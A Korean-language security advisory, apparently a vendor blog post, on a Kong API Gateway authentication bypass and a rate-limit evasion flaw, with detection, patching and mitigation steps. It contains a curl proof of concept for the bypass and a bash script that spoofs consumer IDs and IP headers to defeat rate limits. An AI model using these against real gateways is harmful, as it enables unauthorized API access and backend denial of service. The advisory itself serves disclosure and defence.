Kong API Gateway에서 발견된 두 가지 심각한 취약점, 즉 인증 우회(CVE-2026-29413)와 속도 제한 회피 결함(CVE-2026-29414)은 API 인프라를 미인증 접근과 서비스 거부 공격에 노출합니다. Kong OSS와 Kong Enterprise가 모두 영향을 받으므로 즉시 패치해야 합니다.
널리 배포된 오픈 소스 API 게이트웨이 중 하나인 Kong API Gateway의 플러그인 처리 파이프라인에서 두 가지 심각한 보안 결함이 발견됐습니다. 이 취약점은 2026년 3월 28일 공개됐으며 3.4.x부터 3.8.x까지모든 버전에 영향을 미칩니다. 공격자는 인증 플러그인을 완전히 우회하고 구성된 속도 제한 통제를 회피할 수 있습니다.
금융 서비스와 의료 기관의 API 게이트웨이를 대상으로 한 실제 악용이 확인된 뒤 CISA는 CVE-2026-29413을 알려진 악용 취약점(KEV) 카탈로그에 추가했습니다. Kong 3.4~3.8을 운영하는 조직은 이를 긴급 패치 사안으로 다뤄야 합니다.
| CVE | 유형 | CVSS v3.1 | 심각도 | 영향받는 버전 |
|---|---|---|---|---|
| CVE-2026-29413 | 인증 우회 | 9.8 | 심각 | Kong 3.4.x – 3.8.x |
| CVE-2026-29414 | 속도 제한 회피 | 7.5 | 높음 | Kong 3.2.x – 3.8.x |
CVE-2026-29413은 Nginx 요청 수명 주기의 rewrite 단계 중 Kong 플러그인 실행 순서에 발생하는 논리 결함입니다. 여러 인증 플러그인을 연속으로 적용할 때(예: key-auth 다음에 jwt적용), 플러그인 우선순위 결정 과정의 경쟁 조건 때문에 특정 HTTP/2 의사 헤더가 포함된 조작 요청은 인증 검증을 완전히 건너뛸 수 있습니다.
취약점은 Kong의 Lua 플러그인 실행기(kong/runloop/plugin_servers/mp_rpc.lua)에 있습니다. 이곳의 next_rewrite_phase 반복자는 인증이 끝나기 전에 업스트림이 101 Switching Protocols 응답을 보내면 플러그인 체인을 올바르게 다시 평가하지 못합니다. 그 결과 아무런 인증 검사 없이 요청이 전달되는 틈이 생깁니다.
| 지표 | 값 | 근거 |
|---|---|---|
| 공격 벡터 | 네트워크 | HTTP/HTTPS를 통해 원격 악용 가능 |
| 공격 복잡도 | 낮음 | 특수 조건이나 권한이 필요하지 않음 |
| 필요 권한 | 없음 | 미인증 공격자 |
| 사용자 상호작용 | 없음 | 완전 자동화된 익스플로잇 가능 |
| 기밀성 | 높음 | 보호된 API 엔드포인트에 대한 완전한 접근 |
| 무결성 | 높음 | 공격자가 백엔드 데이터를 수정할 수 있음 |
| 가용성 | 높음 | 제한 없는 백엔드 요청 |
공격자는 조작된 의사 헤더를 포함한 최소한의 HTTP/2 요청으로 CVE-2026-29413을 악용할 수 있습니다. 다음 curl 명령은 key-auth 플러그인이 활성화된 Kong 게이트웨이에서 우회를 재현합니다:
# 정상 요청 — key-auth 플러그인에 의해 차단됨(401 Unauthorized) curl -i https://api.example.com/v1/users \ -H "Host: api.example.com" # CVE-2026-29413 우회 — 변조된 :authority로 HTTP/2 업그레이드 트리거 전송 curl -i --http2 https://api.example.com/v1/users \ -H ":authority: api.example.com\x00injected" \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" \ --resolve api.example.com:443:192.0.2.1
Kong이 h2c 업그레이드를 처리할 때 플러그인 실행기가 인증 단계를 너무 일찍 종료합니다. 요청은 200 OK 응답과 함께 업스트림 서비스로 전달되어 구성된 모든 인증 플러그인을 완전히 우회합니다.
Kong 3.4.x~3.8.x에서 다음 인증 플러그인이 취약합니다:
key-auth — API 키 인증jwt — JSON Web Token 검증basic-auth — HTTP Basic 인증oauth2 — OAuth 2.0 인가(부분 우회)ldap-auth — LDAP 디렉터리 인증openid-connect (Kong Enterprise 전용) — OIDC 흐름CVE-2026-29414는 Kong의 rate-limiting 및 rate-limiting-advanced 플러그인이 Redis 또는 cluster 스토리지 백엔드를 사용하도록 구성됐을 때 영향을 미칩니다. 카운터 키 생성 결함 때문에 공격자는 X-Consumer-ID 헤더 조작과 X-Forwarded-For 스푸핑을 결합해 요청을 여러 가상 소비자 ID로 분산할 수 있습니다.
Kong은 속도 제한 카운터 키를 만들 때 소비자 ID가 게이트웨이가 설정한 값인지 클라이언트가 삽입한 값인지 검증하지 않고 소비자 ID와 IP 주소를 이어 붙입니다. 업스트림 프록시나 로드 밸런서가 X-Consumer-ID를 설정하는 배포 환경에서는 Kong의 헤더 신뢰 로직을 악용해 사실상 무제한의 개별 속도 제한 버킷을 만들 수 있습니다.
| 지표 | 값 | 근거 |
|---|---|---|
| 공격 벡터 | 네트워크 | 원격 악용 가능 |
| 공격 복잡도 | 낮음 | 간단한 헤더 조작 |
| 필요 권한 | 없음 | 사전 인증 불필요 |
| 영향: 가용성 | 높음 | 속도 제한 우회를 통한 백엔드 DoS |
다음 스크립트는 가상 소비자 ID를 바꿔 가며 분당 100개 요청 제한을 우회해 공격자가 10,000개 요청을 보내는 방법을 보여 줍니다:
#!/bin/bash # CVE-2026-29414 — 속도 제한 회피 PoC # 각 요청에 고유한 X-Consumer-ID를 사용해 별도 카운터 버킷을 할당 TARGET="https://api.example.com/v1/products" TOTAL_REQUESTS=10000 for i in $(seq 1 $TOTAL_REQUESTS); do # 요청마다 고유한 가짜 소비자 ID 생성 FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid) curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \ -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \ -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \ -H "apikey: legitimate-api-key" & # 동시 요청을 50개로 제한 if (( i % 50 == 0 )); then wait; fi done wait echo "Done: $TOTAL_REQUESTS requests sent"
취약한 Kong 인스턴스에서는 소비자당 분당 100개로 제한했더라도 이 스크립트가 10,000개 요청을 모두 전송합니다. 이를 이용해 느리고 은밀한 API 남용 공격이나 무차별 대입 열거 공격을 수행할 수 있습니다.
| 기능 / 영향 | Kong OSS | Kong Enterprise |
|---|---|---|
| CVE-2026-29413 인증 우회 | 영향받음 | 영향받음(OIDC 플러그인 포함) |
| CVE-2026-29414 속도 제한 우회 | 영향받음 | 영향받음 |
| Rate-Limiting Advanced 플러그인 | 사용 불가 | 영향받음(추가 우회 벡터) |
| Developer Portal 노출 | 해당 없음 | Portal API가 노출될 수 있음 |
| Konnect(SaaS) | 해당 없음 | Kong이 2026년 3월 29일 패치함 |
| 수정 버전 | 3.9.0 | 3.9.0.0 / 3.8.1.2(백포트) |
Konnect SaaS 플랫폼의 Kong Enterprise 고객은 2026년 3월 29일 자동으로 패치됐습니다. 자체 호스팅 Enterprise와 모든 OSS 배포는 수동 업그레이드가 필요합니다.
Kong 접근 로그에서 CVE-2026-29413 악용 흔적을 확인하십시오. 의심스러운 패턴에는 인증 헤더 검증 로그 없이 인증 플러그인이 적용된 경로가 200 상태를 반환하는 경우가 포함됩니다:
# Kong 접근 로그에서 인증 우회 지표 검색 # apikey/jwt 없이 보호된 경로를 요청했는데 200을 반환한 경우 grep '"status":200' /var/log/kong/access.log \ | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \ | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}' # CVE-2026-29414: 고유 소비자 ID에서 발생한 대량 요청 탐색 grep '"plugin":"rate-limiting"' /var/log/kong/error.log \ | awk -F'"consumer_id":"' '{print $2}' \ | awk -F'"' '{print $1}' \ | sort | uniq -c | sort -rn | head -50
# Admin API로 Kong 버전 확인 curl -s http://localhost:8001/ | jq '.version' # rate-limiting 플러그인을 모두 나열해 구성 확인 curl -s http://localhost:8001/plugins \ | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}' # 헤더 신뢰 구성(trusted_ips) 확인 curl -s http://localhost:8001/config \ | jq '.trusted_ips'
가장 중요한 해결책은 Kong 3.9.0(OSS) 또는 Kong Enterprise 3.9.0.0 / 3.8.1.2로 업그레이드하는 것입니다. 일반적인 배포 방식에서는 다음 명령을 사용하십시오:
# Docker — 패치된 이미지 가져오기 docker pull kong:3.9.0 docker stop kong && docker rm kong docker run -d --name kong \ --network=kong-net \ -e KONG_DATABASE=postgres \ -e KONG_PG_HOST=kong-database \ -p 8000:8000 -p 8443:8443 \ kong:3.9.0 # Kubernetes — Helm을 통한 롤링 업데이트 helm repo update helm upgrade kong kong/kong \ --namespace kong \ --set image.tag=3.9.0 \ --reuse-values # Ubuntu/Debian 패키지 업그레이드 curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb" sudo dpkg -i kong.deb sudo kong restart
업그레이드 전까지 Kong이 X-Consumer-ID 및 X-Forwarded-For 헤더에 대해 신뢰하는 업스트림 IP를 제한하십시오. kong.conf:
# kong.conf — trusted IP를 알려진 로드 밸런서 주소로만 제한 trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12 # 클라이언트의 X-Consumer-ID 헤더 전달 비활성화 headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via
업그레이드하기 전 임시 우회책으로, 환경에서 필요하지 않다면 HTTP/2 업그레이드 처리를 비활성화하십시오:
# kong.conf — h2c(HTTP/2 평문) 업그레이드 처리 비활성화 proxy_listen = 0.0.0.0:8000 reuseport backlog=16384 # proxy_listen에 'http2' 지시어가 있으면 제거 # proxy_listen = 0.0.0.0:8000 http2 reuseport ← 'http2' 키워드 제거 # Nginx 수준 보호를 위해 nginx_http_include에 추가: proxy_http_version 1.1;
# 패치된 버전이 실행 중인지 확인 curl -s http://localhost:8001/ | jq -r '"Kong version: " + .version' # 인증 우회가 더 이상 가능하지 않은지 테스트(401을 반환해야 함) curl -i --http2 https://your-gateway.example.com/protected-route \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" # 예상 결과: HTTP/1.1 401 Unauthorized
h2c 업그레이드 헤더 및 X-Consumer-ID 삽입을 차단하면 심층 방어가 강화됩니다./audit/requests 로깅을 활성화해야 합니다.| 날짜 | 사건 |
|---|---|
| 2026-02-14 | HackerOne을 통해 Kong 보안팀에 취약점 제보 |
| 2026-02-17 | Kong이 두 CVE를 확인하고 식별자 할당 |
| 2026-03-10 | CVE ID 예약: CVE-2026-29413, CVE-2026-29414 |
| 2026-03-28 | Kong 3.9.0 및 Enterprise 3.8.1.2 백포트 출시 |
| 2026-03-29 | Kong Konnect(SaaS) 자동 패치 |
| 2026-04-01 | CISA가 CVE-2026-29413을 KEV 카탈로그에 추가 |
| 2026-04-02 | 공개 익스플로잇 PoC가 GitHub에 게시됨 |
331,910개 이상의 CVE를 색인한 AI 기반 취약점 관리로 공격자보다 먼저 Kong CVE, 잘못된 구성, 노출된 API 엔드포인트를 탐지하십시오.
무료 체험 시작안전을 유지하세요. 경계를 늦추지 마세요.
🗡️ KENSAI 보안팀
이 주요 글은 막다른 곳에서 끝나는 대신 전략적인 버그 바운티 및 아카이브 페이지로 트래픽을 연결합니다.